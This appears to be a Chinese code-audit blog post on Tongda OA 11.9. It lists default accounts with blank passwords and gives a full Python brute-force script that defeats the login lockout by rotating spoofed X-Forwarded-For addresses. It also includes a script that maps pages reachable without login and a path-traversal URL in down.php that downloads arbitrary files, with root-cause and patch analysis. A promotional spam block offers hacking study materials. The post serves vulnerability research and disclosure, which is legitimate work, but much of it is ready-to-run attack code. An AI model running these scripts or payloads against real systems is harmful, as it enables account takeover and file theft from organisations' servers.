操作系统审计方案(某OA系统审计小记)
通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达OA 有一个初步的了解。
下载通达oa 11.9 ,默认安装地址是 D:\MYOA ,联网状态下会自动更新到通达 oa 11.10
安装成功后,登录界面如下 默认账号为 admin 对应密码为空。
登录后我们看到其中还有一些默认账号 lijia wangyun wangde 均可利用空密码登录成功
爆破密码
正常输入账号名密码时,输入三次错误就会禁止10分钟
我们可以通过代码方面追究其原因
webroot/inc/td_core.php
$USER_IP 的值可以来自于 X-Forwarded-For
写个 python 脚本用于爆破用户名密码
import requests
import sys
import re
def read_passwd(passwordfile):
with open(file = passwordfile, mode='r') as f:
passwd = f.read().splitlines()
return passwd
def Intruder_password(url,username,passwd_list):
success_str ="正在进入OA系统,请稍候..."
a=b=c=d=0
url = url "/logincheck.php"
for passwd in passwd_list:
payload = "UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)
headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}
response = requests.request("POST", url, data=payload, headers=headers)
if(re.search(success_str, response.text)):
print("正确的账号名:{}密码:{}".format(username,passwd))
else:
print("错误密码:{}".format(passwd))
d=d 1
if(d == 255):
c = c 1
d = 0
if(c == 255):
b = b 1
c = 0
if(b == 255):
a = a 1
b =0
def main():
if len(sys.argv) < 4:
print("Usage: Intruder_password.py targeturl username passwdfile\n"
"Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")
exit()
url = sys.argv[1]
username = sys.argv[2]
passwd_list = read_passwd(sys.argv[3])
Intruder_password(url,username,passwd_list)
if __name__ == '__main__':
main()
【----帮助网安学习,需要网安学习资料关注我,私信回复“资料”免费获取----】 ① 网安学习成长路径思维导图 ② 60 网安经典常用工具包 ③ 100 SRC漏洞分析报告 ④ 150 网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南 题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓 IOS)
未授权敏感信息泄露一般我们想要寻找一些高危的漏洞,就是需要寻找一些未授权漏洞,就是在未登录状态下也可以执行授权后的相关功能,编写了一个简单的脚本,先判断哪一些网页是可以在未授权的情况下进行访问到,然后再做进一步的分析
import os
import sys
import requests
def file_path(url,filefolder):
for root, dirs, files in os.walk(filefolder):
for f in files:
paths = os.path.join(root,f)
paths = paths.replace(filefolder,url)
paths = paths.replace("\\","/")
#print(paths)
if(f.endswith(".php")):
response = requests.get(paths)
# print(str(response.status_code) " " str(len(response.text)) " " paths)
print("code:" str(response.status_code) " len:" str(len(response.text)) " url: " paths )
def main():
if len(sys.argv) < 3:
print("Usage: file_path.py targeturl filefolder\n"
"Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"")
exit()
url = sys.argv[1]
filefolder = sys.argv[2]
file_path(url,filefolder)
if __name__ == '__main__':
main()
http://10.0.18.1/inc/reg.php 泄露版本信息
还有很多可以未授权显示的页面,不一一展示了
未授权文件下载通过不断测试,也找到了一个比较有价值的漏洞,就是未授权文件下载
构造链接 http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a
就可以下载到根目录下的 a.zip 文件
我们从代码层面分析一下漏洞的成因
webroot/inc/package/down.php
我们看到通过 GET 方法获取到 id 值,拼接到 $FILE_PATH 中,并没有做任何过滤,传到函数 td_download 中
webroot/inc/utility_file.php
如此便实现了任意文件下载,这是在版本 11.09 中 存在的漏洞,在自动更新到 11.10 后 漏洞便被修复了,我们查看一下代码
webroot/inc/package/down.php 我们看到对传入的参数进行了过滤,无法再跨越目录的进行下载
靶场实验练习推荐:
实验:代码审计利器-RIPS实践(合天网安实验室)
,免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com